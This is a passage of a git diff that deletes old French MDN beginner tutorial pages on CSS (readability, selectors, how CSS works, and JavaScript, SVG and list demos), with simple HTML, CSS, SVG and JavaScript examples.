Dans votre fichier CSS, changez tous les noms de couleur en codes hexadécimaux à trois chiffres sans affecter le résultat. -

(Ceci ne peut pas être fait exactement, mais vous pouvez arriver tout près. Pour que ce soit exact, vous aurez besoin des codes à six chiffres et de regarder dans la spécification CSS ou utiliser un outil graphique pour obtenir les valeurs précises.)

-
-

 

-

Pour continuer

-

Votre document d'exemple et votre feuille de style séparent strictement le contenu du style.

-

La page suivante explique comment vous pouvez faire des exceptions à cette séparation stricte : Contenu.

diff --git a/files/fr/css/premiers_pas/des_css_lisibles/index.html b/files/fr/css/premiers_pas/des_css_lisibles/index.html deleted file mode 100644 index 57da469f28..0000000000 --- a/files/fr/css/premiers_pas/des_css_lisibles/index.html +++ /dev/null @@ -1,155 +0,0 @@ ---- -title: Des CSS lisibles -slug: CSS/Premiers_pas/Des_CSS_lisibles -tags: - - CSS - - 'CSS:Premiers_pas' -translation_of: Learn/CSS/Introduction_to_CSS/Syntax#Beyond_syntax_make_CSS_readable -translation_of_original: Web/Guide/CSS/Getting_started/Readable_CSS ---- -

 

-

Cette page aborde le style et la grammaire du langage CSS lui-même.

-

Vous modifierez l'aspect de votre fichier CSS pour le rendre plus lisible.

-

Information : des CSS lisibles

-

Vous pouvez ajouter des blancs et des commentaires à vos feuilles de style pour les rendre plus lisibles. Vous pouvez également grouper des sélecteurs ensemble, lorsque les même règles s'appliquent à des éléments sélectionnés de manière différente.

-

Insertion de blancs

-

Les feuilles de style peuvent être aérées à l'aide d'espaces, de tabulations et de retours à la ligne. Elles deviendront ainsi plus lisibles.

-

Votre fichier CSS d'exemple a actuellement une règle par ligne, et à peu près le minimum possible d'espaces blancs. Dans une feuille de style complexe, ce type de mise en page devient rapidement difficile à lire, et rend la feuille difficile à maintenir.

-

La mise en page à utiliser est généralement une question de préférence personnelle, mais si vos feuilles de style font partie de projets partagés, ceux-ci peuvent avoir leurs propres conventions.

- - - - - - - -
- Exemples
Certaines personnes aiment la mise en page compacte que nous avons utilisée jusqu'à présent, ne coupant une ligne que lorsqu'elle devient très longue : - 
-.carotte {color: orange; text-decoration: underline; font-style: italic;}
-
-

D'autres préfèrent un couple propriété-valeur par ligne :

-
- 
-.carotte
-{
-color: orange;
-text-decoration: underline;
-font-style: italic;
-}
-
-
-

Certains utilisent une indentation — deux espaces, quatre espaces, ou encore une tabulation :

-
- 
-.carotte {
-  color: orange;
-  text-decoration: underline;
-  font-style: italic;
-}
-
-
-

D'autres apprécient que tout soit aligné verticalement (mais ce type de mise en page est difficile à maintenir) :

-
- 
-.carotte
-    {
-    color           : orange;
-    text-decoration : underline;
-    font-style      : italic;
-    }
-
-
-

Par ailleurs, si certains utilisent des tabulations, d'autres utiliseront uniquement des espaces.

-
-

Commentaires

-

Les commentaires en CSS commencent avec /* et se terminent par */.

-

Vous pouvez utiliser les commentaires pour ajouter vos remarques dans la feuille de style, mais aussi pour mettre en commentaire temporairement certaines parties à des fins de tests.

-

Pour mettre en commentaire une partie de feuille de style, placez les marques de commentaire de part et d'autre de celle-ci afin que le navigateur l'ignore. Veillez à commencer et à terminer le commentaire à des endroits appropriés, le reste de la feuille de style doit conserver une syntaxe correcte.

- - - - - - - -
- Exemple
-
- 
-/* style pour la lettre C initiale dans le premier paragraphe */
-.carotte {
-  color:            orange;
-  text-decoration:  underline;
-  font-style:       italic;
-  }
-
-
-
-

Sélecteurs groupés

-

Lorsque beaucoup d'éléments ont le même style, vous pouvez spécifier un groupe de sélecteurs en les séparant par des virgules. La déclaration s'applique à chacun des éléments sélectionnés.

-

Ailleurs dans votre feuille de style, vous pouvez spécifier à nouveau les mêmes sélecteurs individuellement, pour leur appliquer des règles de style uniques.

- - - - - - - -
- Exemple
Cette règle rend les éléments H1, H2 et H3 de la même couleur. -

Il est pratique de spécifier la couleur en un seul endroit, au cas où celle-ci doit être changée par la suite.

-
- 
-/* couleur pour les titres */
-h1, h2, h3 {color: navy;}
-
-
-
-

Action : ajout de commentaires et amélioration de la mise en page

-

Éditez votre fichier CSS, et assurez-vous qu'il comporte les règles suivantes (dans n'importe quel ordre) :

-
- 
strong {color: red;}
-.carotte {color: orange;}
-.epinard {color: green;}
-#premier {font-style: italic;}
-p {color: blue;}
-
-
-

Rendez-le plus lisible en le réarrangeant d'une manière que vous trouvez logique, et en ajoutant des blancs et des commentaires où vous les trouvez appropriés.

-

Enregistrez le fichier et actualisez l'affichage de votre navigateur pour vérifier que vos changements n'ont pas affecté le fonctionnement de la feuille de style :

- - - - - - - - - -
Cascading Style Sheets
Cascading Style Sheets
-

 

- - - - - - - -
- Challenge
Mettez en commentaire une partie de votre feuille de style, sans rien changer d'autre, afin de rendre la toute première lettre de votre document rouge : - - - - - - - - - -
Cascading Style Sheets
Cascading Style Sheets
-

(Il existe plusieurs manières de faire.)

-
-

 

-

Pour continuer

-

Votre feuille de style d'exemple mettait du texte en italique et souligné. La page suivante détaillera d'autres manières de spécifier l'apparence du texte dans votre document : Styles de texte

diff --git a/files/fr/css/premiers_pas/fonctionnement_de_css/index.html b/files/fr/css/premiers_pas/fonctionnement_de_css/index.html deleted file mode 100644 index aa08f6ffea..0000000000 --- a/files/fr/css/premiers_pas/fonctionnement_de_css/index.html +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: Fonctionnement de CSS -slug: CSS/Premiers_pas/Fonctionnement_de_CSS -tags: - - CSS - - 'CSS:Premiers_pas' -translation_of: Learn/CSS/First_steps/How_CSS_works -translation_of_original: Web/Guide/CSS/Getting_started/How_CSS_works ---- -

 

- -

Cette page explique comment CSS fonctionne dans votre navigateur. Vous analyserez votre document de démonstration, révélant les détails de son style.

- -

Information : fonctionnement de CSS

- -

Lorsque Mozilla affiche un document, il doit combiner le contenu du document avec ses informations de style. Ainsi, il traite le document en deux étapes :

- -
    -
  • Au premier stade, Mozilla convertit le langage de balisage et le CSS dans unDOM (modèle objet de document). Le DOM représente le document dans la mémoire de l'ordinateur. Il combine le contenu du document et son style.
    • -
- -
    -
  • Au second stade, Mozilla affiche le DOM.
    • -
- -

Un langage de balisage utilise des balises pour définir la structure du document. Un élément peut en contenir d'autres, entre sa balise de début et sa balise de fin.

- -

Un DOM a une structure sous forme d'arbre. Chaque balise et morceau de texte figurant dans le langage de balisage devient unnœud dans la structure arborescente. Les nœuds DOM n'en contiennent pas d'autres, au lieu de cela ils peuvent êtreparents de nœudsenfants .

- -

Les nœuds correspondant à des balises sont aussi appeléséléments .

- - - - - - - - -
Exemple
Dans votre document exemple, la balise <P> et sa balise de fermeture </P> forment un conteneur : -
- 
-<P>
-  <STRONG>C</STRONG>ascading
-  <STRONG>S</STRONG>tyle
-  <STRONG>S</STRONG>heets
-</P>
-
-
- -

Dans le DOM, le nœud P correspondant est un parent. Ses enfants sont les nœuds STRONG et les nœuds de texte. Les nœuds STRONG sont eux-mêmes parents, avec des nœuds de texte comme enfants :

- -
-

P ├─STRONG │ │ │ └─"C" │ ├─"ascading" │ ├─STRONG │ │ │ └─"S" │ ├─"tyle" │ ├─STRONG │ │ │ └─"S" │ └─"heets"

-
-
- -

La compréhension du DOM aide à créer, déboguer et maintenir votre CSS, car le DOM est l'endroit où CSS et le document se rencontrent.

- -

Action : Analyse d'un DOM

- -

Pour analyser un DOM, il est nécessaire d'utiliser un logiciel spécial. Ici, nous utiliserons l'Inspecteur DOM (DOMi) de Mozilla pour analyser un DOM.

- -

Utilisez votre navigateur Mozilla pour ouvrir votre document exemple.

- -

Depuis la barre de menu de votre navigateur, choisissez Outils – Inspecteur DOM, ou éventuellement Outils – Développement Web – Inspecteur DOM.

- - - - - - - - -
Plus de détails
Si votre navigateur Mozilla n'a pas de DOMi, vous pouvez réinstaller votre navigateur en vérifiant que vous installez le composant Outils de développement. Revenez ensuite à ce tutoriel. -

Si vous ne désirez pas installer le DOMi, vous pouvez passer cette section et vous rendre directement à la page suivante. Cette section peut être passée sans problème pour comprendre le reste du tutoriel.

-
- -


- Dans le DOMi, dépliez les nœuds de votre document en cliquant sur leurs flèches.

- -

Note :  Les espaces dans votre fichier HTML font que le DOMi affichera certains nœuds de texte vides, que vous pouvez ignorer.

- -

Le résultat peut ressembler à ceci, selon les nœuds que vous avez dépliés :

- - - - - - - -
-
-

│ ▼╴P │ │ │ ▼╴STRONG │ │ └#text │ ├╴#text │ ▶╴STRONG │ │

-
-
- -

Lorsque vous sélectionnez un nœud, vous pouvez utiliser le panneau de droite du DOMi pour en savoir plus sur celui-ci. Par exemple, lorsque vous sélectionnez un nœud de texte, DOMi affichera son texte dans le panneau de droite.

- -

Lorsque vous sélectionnez un nœud d'élément, DOMi l'analyse et fournit une grande quantité d'informations dans le panneau de droite. Les informations de style sont juste une petite partie de ce qui peut y être affiché.

- -

 

- - - - - - - - -
Challenge
Dans le DOMi, cliquez sur un nœud STRONG. -

Utilisez le panneau de droite pour découvrir à quel endroit la couleur du nœud est mise en rouge, et à quel endroit son apparence est rendue plus grasse que le texte normal.

-
- -

 

- -

Pour continuer

- -

Si vous avez des difficultés à comprendre cette page, ou si vous avez des commentaires, contribuez à sa page de discussion.

- -

Si vous avez relevé le challenge, vous avez vu que les informations de style venant de plusieurs endroits interagissent pour créer le style final d'un élément.

- -

La page suivante explique plus en détails ces interactions : Cascade et héritage.

diff --git a/files/fr/css/premiers_pas/graphiques_svg/index.html b/files/fr/css/premiers_pas/graphiques_svg/index.html deleted file mode 100644 index a3c323972f..0000000000 --- a/files/fr/css/premiers_pas/graphiques_svg/index.html +++ /dev/null @@ -1,198 +0,0 @@ ---- -title: Graphiques SVG -slug: CSS/Premiers_pas/Graphiques_SVG -tags: - - CSS - - 'CSS:Premiers_pas' -translation_of: Web/SVG/Tutorial/SVG_and_CSS ---- -

 

-

Cette page illustre le langage spécialisé dans la création d'éléments graphiques : SVG.

-

Vous créerez une démonstration simple visible dans votre navigateur Mozilla avec SVG activé.

-

Information : SVG

-

- - SVG - (Scalable Vector Graphics) est un langage basé sur XML permettant de créer des éléments graphiques.

-

Il peut être utilisé pour des images statiques, ainsi que pour des animations et des interfaces utilisateur.

-

Comme d'autres langages basés sur XML, SVG permet d'utiliser des feuilles de style CSS afin de séparer le style d'un graphique de son contenu.

-

De plus, les feuilles de style utilisées avec d'autres langages de balisages peuvent spécifier l'URL d'un graphique SVG lorsqu'une image est requise. Par exemple, une feuille de style utilisée avec un document HTML peut spécifier l'URL d'un graphique SVG dans la valeur d'une propriété background.

- - - - - - - -
- Plus de détails
Au moment de la rédaction de ce document (courant 2005), seules certains compilations récentes des navigateurs Mozilla ont leur gestion native de SVG activée. -

Vous pouvez ajouter un support SVG à d'autres versions en installant un plugin comme celui fourni par Adobe.

-

Pour plus d'informations à propos de SVG dans Mozilla, consultez la page SVG de ce wiki.

-
-

Action : une démonstration de SVG

-

Créez un nouveau document SVG en tant que fichier texte simple, doc8.svg. Copiez et collez-y le contenu ci-dessous en vous assurant de le faire défiler afin d'en obtenir la totalité :

-
- 
<?xml version="1.0" standalone="no"?>
-
-<?xml-stylesheet type="text/css" href="style8.css"?>
-
-<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
-  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
-
-<svg width="600px" height="600px" viewBox="-300 -300 600 600"
-  xmlns="http://www.w3.org/2000/svg" version="1.1"
-  xmlns:xlink="http://www.w3.org/1999/xlink">
-
-<title>SVG demonstration</title>
-<desc>Premiers pas en CSS avec Mozilla - Démonstration de SVG</desc>
-
-<defs>
-  <g id="segment" class="segment">
-    <path class="segment-fill" d="M0,0 v-200 a40,40 0 0,0 -62,10 z"/>
-    <path class="segment-edge" d="M0,-200 a40,40 0 0,0 -62,10"/>
-    </g>
-  <g id="quadrant">
-    <use xlink:href="#segment"/>
-    <use xlink:href="#segment" transform="rotate(18)"/>
-    <use xlink:href="#segment" transform="rotate(36)"/>
-    <use xlink:href="#segment" transform="rotate(54)"/>
-    <use xlink:href="#segment" transform="rotate(72)"/>
-    </g>
-  <g id="petals">
-    <use xlink:href="#quadrant"/>
-    <use xlink:href="#quadrant" transform="rotate(90)"/>
-    <use xlink:href="#quadrant" transform="rotate(180)"/>
-    <use xlink:href="#quadrant" transform="rotate(270)"/>
-    </g>
-  <radialGradient id="fade" cx="0" cy="0" r="200"
-      gradientUnits="userSpaceOnUse">
-    <stop id="fade-stop-1" offset="33%"/>
-    <stop id="fade-stop-2" offset="95%"/>
-    </radialGradient>
-  </defs>
-
-<text id="heading" x="-280" y="-270">
-  SVG demonstration</text>
-<text  id="caption" x="-280" y="-250">
-  Placez le pointeur de la souris au dessus de la fleur.</text>
-
-<g id="flower">
-  <circle id="overlay" cx="0" cy="0" r="200"
-    stroke="none" fill="url(#fade)"/>
-  <use id="outer-petals" xlink:href="#petals"/>
-  <use id="inner-petals" xlink:href="#petals"
-    transform="rotate(9) scale(0.33)"/>
-  </g>
-
-</svg>
-
-
-

Créez un nouveau fichier CSS, style8.css. Copiez et collez-y le contenu ci-dessous, en vous assurant de le faire défiler pour en obtenir la totalité :

-
- 
/*** Démonstration de SVG ***/
-
-/* page */
-svg {
-  background-color: beige;
-  }
-
-#heading {
-  font-size: 24px;
-  font-weight: bold;
-  }
-
-#caption {
-  font-size: 12px;
-  }
-
-/* flower */
-#flower:hover {
-  cursor: crosshair;
-  }
-
-/* gradient */
-#fade-stop-1 {
-  stop-color: blue;
-  }
-
-#fade-stop-2 {
-  stop-color: white;
-  }
-
-/* outer petals */
-#outer-petals {
-  opacity: .75;
-  }
-
-#outer-petals .segment-fill {
-  fill: azure;
-  stroke: lightsteelblue;
-  stroke-width: 1;
-  }
-
-#outer-petals .segment-edge {
-  fill: none;
-  stroke: deepskyblue;
-  stroke-width: 3;
-  }
-
-#outer-petals .segment:hover > .segment-fill {
-  fill: plum;
-  stroke: none;
-  }
-
-#outer-petals .segment:hover > .segment-edge {
-  stroke: slateblue;
-  }
-
-/* inner petals */
-#inner-petals .segment-fill {
-  fill: yellow;
-  stroke: yellowgreen;
-  stroke-width: 1;
-  }
-
-#inner-petals .segment-edge {
-  fill: none;
-  stroke: yellowgreen;
-  stroke-width: 9;
-  }
-
-#inner-petals .segment:hover > .segment-fill {
-  fill: darkseagreen;
-  stroke: none;
-  }
-
-#inner-petals .segment:hover > .segment-edge {
-  stroke: green;
-  }
-
-
-

Ouvrez le document dans votre navigateur avec SVG activé. Placez le pointeur de la souris au dessus de l'image.

-

Ce wiki ne permet pas d'utiliser SVG dans ses pages, il n'est donc pas possible d'afficher la démonstration ici. L'image ressemble à ceci :

- - - - - - -
Démonstration de SVG
-

Remarques à propos de cette démonstration :

-
    -
  • Le document SVG est lié à la feuille de style de la manière habituelle.
    • -
  • SVG possède ses propres propriétés CSS et valeurs. Certaines d'entre-elles sont similaires au propriétés CSS pour HTML.
    • -
-

 

- - - - - - - -
- Challenge
Modifiez la feuille de style pour que les pétales intérieurs deviennent tous roses lorsque le pointeur de la souris survole n'importe lequel d'entre-eux, sans changer la manière dont les pétales extérieurs fonctionnent.
-

 

-

Pour continuer

-

Si vous avez eu des difficultés à comprendre cette page, ou si vous avez d'autres commentaires à son sujet, n'hésitez pas à contribuer à sa page de discussion.

-

Dans cette démonstration, votre navigateur avec SVG activé sait déjà comment afficher les éléments SVG. La feuille de style modifie uniquement l'affichage dans une certaine mesure. C'est également le cas pour les documents HTML et XUL. Mais vous pouvez utiliser CSS pour des documents XML généralistes, où il n'y a aucune manière prédéfinie d'afficher les éléments. La page suivante en fait la démonstration : Données XML.

diff --git a/files/fr/css/premiers_pas/index.html b/files/fr/css/premiers_pas/index.html deleted file mode 100644 index 5a802a6899..0000000000 --- a/files/fr/css/premiers_pas/index.html +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Premiers pas -slug: CSS/Premiers_pas -tags: - - CSS - - 'CSS:Premiers_pas' -translation_of: Learn/CSS/First_steps -translation_of_original: Web/Guide/CSS/Getting_started ---- -

Introduction

- -

Ce tutoriel est une introduction basique aux feuilles de styles en cascades (CSS).

- -

Il vous guidera à travers les fonctions de base des CSS grâce à des exemples pratiques que vous pourrez tester par vous-même sur votre ordinateur. Il est divisé en deux parties :

- -
    -
  • La partie I présente les propriétés standard des CSS qui fonctionnent dans les navigateurs basés sur Mozilla et aussi dans la plupart des autres navigateurs modernes.
    • -
- -
    -
  • La partie II contient quelques exemples des propriétés spéciales qui fonctionnent sous Mozilla mais pas forcément sur les autres navigateurs.
    • -
- -

Ce tutoriel est basé sur les spécifications CSS 2.1.

- -

À qui est destiné ce tutoriel ?

- -

Ce tutoriel est surtout destiné à ceux qui débutent en CSS, mais vous pouvez aussi vous en servir si vous avez déjà quelques notions.

- -

Si vous êtes un débutant, lisez d'abord la partie I pour comprendre les CSS et apprendre comment les utiliser. Puis lisez la partie II pour comprendre la « portée » des CSS dans Mozilla.

- -

Si vous avez déjà quelques notions, vous pouvez sauter les parties de ce tutoriel que vous connaissez déjà, et lire seulement celles qui vous intéressent.

- -

Si vous maîtrisez déjà les CSS hormis les propriétés particulières à Mozilla, passez directement à la partie II.

- -

Avant de commencer

- -

Pour que ce tutoriel soit vraiment bénéfique, vous avez besoin d'un éditeur de fichier texte et un navigateur Mozilla (Firefox ou la suite Mozilla). Vous devez aussi savoir un minimum comment les utiliser.

- -

Si vous ne souhaitez pas éditer de fichier, vous pouvez simplement lire le tutoriel et regarder les images, mais votre apprentissage sera moins performant.

- -

Quelques passages de ce tutoriel peuvent exiger l'utilisation d'un autre logiciel de la fondation Mozilla. Ces passages sont optionnels. Si vous ne souhaitez pas télécharger d'autres logiciels, sautez ces passages.

- -

Tutoriel partie I

- -

Un guide de base, étape par étape pour CSS.

- - - -

Tutoriel partie II

- -

Exemples montrant la portée des CSS dans Mozilla.

- -
    -
  1. JavaScript
    2. -
  2. Liaisons XBL
    3. -
  3. Interfaces utilisateur XUL
    4. -
  4. Graphiques SVG
    5. -
  5. Données XML
    6. -
diff --git a/files/fr/css/premiers_pas/javascript/index.html b/files/fr/css/premiers_pas/javascript/index.html deleted file mode 100644 index 6e9414972d..0000000000 --- a/files/fr/css/premiers_pas/javascript/index.html +++ /dev/null @@ -1,147 +0,0 @@ ---- -title: JavaScript -slug: CSS/Premiers_pas/JavaScript -tags: - - CSS - - 'CSS:Premiers_pas' -translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents -translation_of_original: Web/Guide/CSS/Getting_started/JavaScript ---- -

 

-

Vous entrez dans la partie II du tutoriel. Cette partie contient des exemples montrant toute la portée de CSS dans Mozilla.

-

Chaque page de la partie II illustre la manière dont CSS interagit avec une autre technologie donnée. Ces pages ne sont pas prévues pour vous apprendre à utiliser ces autres technologies. Pour cela, vous devrez consulter d'autres tutoriels pour les comprendre en détail.

-

Au lieu de cela, ces pages sont conçues pour illustrer les nombreux usages de CSS. Pour les comprendre, vous devriez avoir une certaine connaissance de CSS, mais il n'est pas nécessaire de maîtriser aucune des autres technologies évoquées.

-

Information : JavaScript

-

JavaScript est un - - langage de programmation - . Lorsque vous utilisez une application Mozilla (par exemple votre navigateur), une grande partie du code exécuté par votre ordinateur est écrit en JavaScript.

-

JavaScript peut interagir avec les feuilles de style, ce qui permet d'écrire des programmes modifiant le style d'un document dynamiquement.

-

Il existe trois manières de le faire :

-
    -
  • En travaillant avec la liste de feuilles de style du document — par exemple en ajoutant, retirant ou modifiant une feuille de style.
    • -
  • En travaillant avec les règles d'une feuille de style — par exemple en ajoutant, retirant ou modifiant une règle.
    • -
  • En travaillant avec un élément individuel du DOM — en modifiant son style indépendamment des feuilles de style du document.
    • -
- - - - - - - -
- Plus de détails
Pour plus d'informations à propos de JavaScript dans Mozilla, consultez la page JavaScript de ce wiki.
-

Action : une démonstration en JavaScript

-

Créez un nouveau document HTML, doc5.html. Copiez et collez-y le contenu ci-dessous, en vous assurant de faire défiler pour en obtenir l'entièreté :

-
- 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
-<HTML>
-
-<HEAD>
-<TITLE>Premiers pas en CSS avec Mozilla - Démonstration en JavaScript</TITLE>
-<LINK rel="stylesheet" type="text/css" href="style5.css"></strong>
-<SCRIPT type="text/javascript" src="script5.js"></SCRIPT>
-</HEAD>
-
-<BODY>
-<H1>Exemple en JavaScript</H1>
-
-<DIV id="square"></DIV>
-
-<BUTTON type="button" onclick="doDemo(this);">Cliquez ici</BUTTON>
-
-</BODY>
-</HTML>
-
-
-

Créez un nouveau fichier CSS, style5.css. Copiez et collez-y le contenu ci-dessous :

-
- 
/*** Démonstration en JavaScript ***/
-#square {
-  width: 20em;
-  height: 20em;
-  border: 2px inset gray;
-  margin-bottom: 1em;
-  }
-
-button {
-  padding: .5em 2em;
-  }
-
-
-

Créez un nouveau fichier texte, script5.js. Copiez et collez-y le contenu ci-dessous :

-
- 
// JavaScript demonstration
-function doDemo (button) {
-  var square = document.getElementById("square")
-  square.style.backgroundColor = "#fa4"
-  button.setAttribute("disabled", "true")
-  setTimeout(clearDemo, 2000, button)
-  }
-
-function clearDemo (button) {
-  var square = document.getElementById("square")
-  square.style.backgroundColor = "transparent"
-  button.removeAttribute("disabled")
-  }
-
-
-

Ouvrez le document dans votre navigateur et appuyez sur le bouton.

-

Ce wiki ne permet pas d'utiliser JavaScript dans ses pages, il n'est donc pas possible de montrer la démonstration ici. Cela ressemble à ceci, avant et après que vous appuyiez sur le bouton :

- - - - - - - -
- - - - - - -
-

Démonstration en JavaScript

-
-
-  
-
-
- 		- - - - - - -
-

Démonstration en JavaScript

-
-
-  
-
-
-
-

Remarques à propos de cette démonstration :

-
    -
  • Le document HTML est lié à la feuille de style de la manière habituelle et est également lié au script.
    • -
  • Le script traite des éléments individuels du DOM. Il modifie le style du carré directement. Il modifie le style du bouton indirectement en changeant un de ses attributs.
    • -
  • En JavaScript, document.getElementById("square") fonctionne de manière similaire au sélecteur CSS #square.
    • -
  • En JavaScript, backgroundColor correspond à la propriété CSS background-color.
    • -
  • Votre navigateur possède une règle de style interne pour button{{ mediawiki.external('disabled=\"true\"') }} qui modifie l'apparence du bouton lorsqu'il est désactivé.
    • -
- - - - - - - -
- Challenge
Modifiez le script pour que le carré se déplace vers la droite de 20 em lorsque sa couleur change et revienne à sa place lors de l'opération inverse.
-

Pour continuer

-

Si vous avez eu des difficultés à comprendre cette page ou si vous avez d'autres commentaires à son sujet, n'hésitez pas à contribuer à sa page de discussion.

-

Dans cette démonstration, le document HTML est lié au script même si seul l'élément button utilise le script. Mozilla étend CSS afin qu'il puisse lier du code JavaScript (ainsi que du contenu et d'autres feuilles de style) aux éléments sélectionnés. La page suivante en fournit la démonstration : Liaisons XBL

diff --git "a/files/fr/css/premiers_pas/les_s\303\251lecteurs/index.html" "b/files/fr/css/premiers_pas/les_s\303\251lecteurs/index.html" deleted file mode 100644 index 9371d826b3..0000000000 --- "a/files/fr/css/premiers_pas/les_s\303\251lecteurs/index.html" +++ /dev/null @@ -1,207 +0,0 @@ ---- -title: Les sélecteurs -slug: CSS/Premiers_pas/Les_sélecteurs -tags: - - CSS - - 'CSS:Premiers_pas' -translation_of: Learn/CSS/Building_blocks/Selectors -translation_of_original: Web/Guide/CSS/Getting_started/Selectors ---- -

 

- -

Cette page explique comment appliquer des styles de manière sélective, et les priorités des différents types de sélecteurs.

- -

Vous ajouterez quelques attributs aux balises de votre document exemple, et vous utiliserez ces attributs dans votre feuille de style.

- -

Information : les sélecteurs

- -

CSS a sa propre terminologie pour décrire le langage CSS. Précédemment dans ce tutoriel, vous avez créé une ligne dans votre feuille de style comme ceci :

- -
-
strong {color: red;}
-
-
- -

Dans la terminologie CSS, toute cette ligne est une règle. Cette règle commence avec strong, qui est un sélecteur. Celui-ci sélectionne les éléments dans le DOM sur lesquels la règle va s'appliquer.

- - - - - - - - -
Plus de détails
La partie à l'intérieur des crochets courbes est la déclaration. -

Le mot-clé color est une propriété, et red est une valeur.

- -

Le point virgule après la valeur de propriété sépare celle-ci d'autres paires de propriétés/valeurs pour le même sélecteur.

- -

Ce tutoriel se réfère à un sélecteur comme strong comme à un sélecteur de balise. La spécification CSS s'y réfère comme à un sélecteur de type.

-
- -


- Cette page du tutoriel donne plus de détails sur les sélecteurs utilisables dans les règles CSS. Outre les noms de balise, il est possible d'utiliser des valeurs d'attribut dans les sélecteurs. Cela permet au règles d'être plus spécifiques.

- -

Deux attributs ont un statut spécial pour CSS. Ce sont les attributs class et id.

- -

Utilisez l'attribut class dans une balise pour lui assigner une classe nommée. Vous pouvez choisir le nom qui vous convient pour cette classe.

- -

Dans votre feuille de style, entrez un point avant le nom de la classe lorsque vous l'utilisez dans un sélecteur.

- -

Utilisez l'attribut id dans une balise pour lui assigner un identifiant unique. Vous pouvez choisir le nom qui vous convient pour l'identifiant. Celui-ci doit cependant être unique au sein du document.

- -

Dans votre feuille de style, entrez un signe dièse (carré) avant l'identifiant lorsque vous l'utilisez dans un sélecteur.

- - - - - - - - -
Exemples
Cette balise HTML a à la fois un attribut class et un attribut id : -
- 
-<P class="clef" id="principale">
-
-
- -

L'identifiant, principale, doit être unique dans le document, mais d'autres balises dans le document peuvent avoir le même nom de classe, clef.

- -

Dans une feuille de style CSS, cette règle rend tous les éléments de la classe clef verts. (Ils peuvent ne pas tous être des éléments P .)

- -
- 
-.clef {color: green;}
-
-
- -

Cette règle rend l'élément avec l'identifiant principale gras :

- -
- 
-#principale {font-weight: bolder;}
-
-
-
- -

Si plus d'une règle s'applique à un élément et spécifie la même propriété, CSS donne la priorité à la règle ayant le sélecteur le plus spécifique. Un sélecteur id est plus spécifique qu'un sélecteur de classe, qui lui-même est plus spécifique qu'un sélecteur de balise.

- - - - - - - - -
Plus de détails
Vous pouvez également combiner le sélecteurs, afin de créer un sélecteur plus spécifique. -

Par exemple, le sélecteur .clef sélectionne tous les éléments qui ont le nom de classe clef. Le sélecteur p.clef sélectionne seulement les éléments P qui ont le nom de classe clef.

- -

Vous n'êtes pas limité aux deux attributs spéciaux class et id. Vous pouvez spécifier d'autres attributs en utilisant des crochets droits. Par exemple, le sélecteur {{ mediawiki.external('type=button') }} sélectionne tous les éléments qui ont un attribut type avec la valeur button.

- -

Une prochaine page de ce tutoriel, (Tableaux) a des informations sur les sélecteurs complexes basés sur les relations.

- -

Pour une information complète sur les sélecteurs, consultez Selectors dans la spécification CSS.

-
- -


- Si la feuille de style a des règles conflictuelles et qui sont également spécifiques, alors CSS donne la priorité à la règle qui est définie plus tard dans la feuille de style.

- -

Lorsque vous avez un problème de conflit de règles, essayez de le résoudre en rendant une des règles plus spécifique, afin qu'elle aie la priorité. Si vous ne pouvez pas faire cela, essayez de déplacer l'une des règles plus près de la fin de la feuille de style pour lui donner la priorité.

- -

Action : utilisation des sélecteurs class et id

- -

Éditez votre fichier HTML, et dupliquez le paragraphe par copier-coller. Ajoutez ensuite des attributs id et class à la première copie, et un autre id à la seconde copie comme montré ci-dessous. Sinon, copiez et collez à nouveau l'entièreté du fichier :

- -
-
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
-<HTML>
-  <HEAD>
-  <TITLE>Document exemple</TITLE>
-  <LINK rel="stylesheet" type="text/css" href="style1.css">
-  </HEAD>
-  <BODY>
-    <P id="premier">
-      <STRONG class="carotte">C</STRONG>ascading
-      <STRONG class="epinard">S</STRONG>tyle
-      <STRONG class="epinard">S</STRONG>heets
-    </P>
-    <P id="second">
-      <STRONG>C</STRONG>ascading
-      <STRONG>S</STRONG>tyle
-      <STRONG>S</STRONG>heets
-    </P>
-  </BODY>
-</HTML>
-
-
- -

Éditez à présent votre fichier CSS. Remplacez l'entièreté de son contenu par :

- -
-
strong {color: red;}
-.carotte {color: orange;}
-.epinard {color: green;}
-#premier {font-style: italic;}
-
-
- -

Actualisez dans votre navigateur et voyez le résultat :

- - - - - - - - - - -
Cascading Style Sheets
Cascading Style Sheets
- -

Vous pouvez essayer d'ordonner différemment les lignes dans votre fichier CSS pour constater que leur ordre n'a aucune importance.

- -

Les sélecteurs de classe .carotte et .epinard ont priorité sur le sélecteur de balise strong.

- -

Le sélecteur d'id #premier a priorité sur les sélecteurs de classe et de balise.

- - - - - - - - -
Challenges
Sans modifier votre fichier HTML, ajoutez une seule règle à votre fichier CSS qui garde la même couleur pour toutes les lettres initiales que précédemment, mais rend le reste du texte du second paragraphe bleu : - - - - - - - - - -
Cascading Style Sheets
Cascading Style Sheets
- -

À présent, changez la règle que vous venez d'ajouter (sans rien changer d'autre), pour rendre le premier paragraphe bleu également :

- - - - - - - - - - -
Cascading Style Sheets
Cascading Style Sheets
-
- -

 

- -

Pour continuer

- -

Si vous avez eu des difficultés à comprendre cette page, ou avez d'autres commentaires à son sujet, n'hésitez pas à contribuer à sa page de discussion.

- -

Votre feuille de style d'exemple commence à avoir l'air dense et compliquée. La page suivante décrit des façons de rendre CSS plus facile à lire : Des CSS lisibles

diff --git a/files/fr/css/premiers_pas/listes/index.html b/files/fr/css/premiers_pas/listes/index.html deleted file mode 100644 index fd091907fe..0000000000 --- a/files/fr/css/premiers_pas/listes/index.html +++ /dev/null @@ -1,305 +0,0 @@ ---- -title: Listes -slug: CSS/Premiers_pas/Listes -tags: - - CSS - - 'CSS:Premiers_pas' -translation_of: Learn/CSS/Styling_text/Styling_lists -translation_of_original: Web/Guide/CSS/Getting_started/Lists ---- -

 

-

Cette page explique comment utiliser CSS pour spécifier l'apparence des listes.

-

Vous créerez un nouveau document d'exemple contenant des listes, et une nouvelle feuille de style habillant celles-ci.

-

Information : les listes

-

Si vous avez relevé le challenge sur la page précédente (Contenu), vous avez vu comment on ajoutait du contenu devant un élément pour l'afficher comme un élément de liste.

-

Mais CSS fournit des propriétés spécialement conçues pour les listes. Il est généralement plus aisé d'utiliser ces propriétés lorsque c'est possible.

-

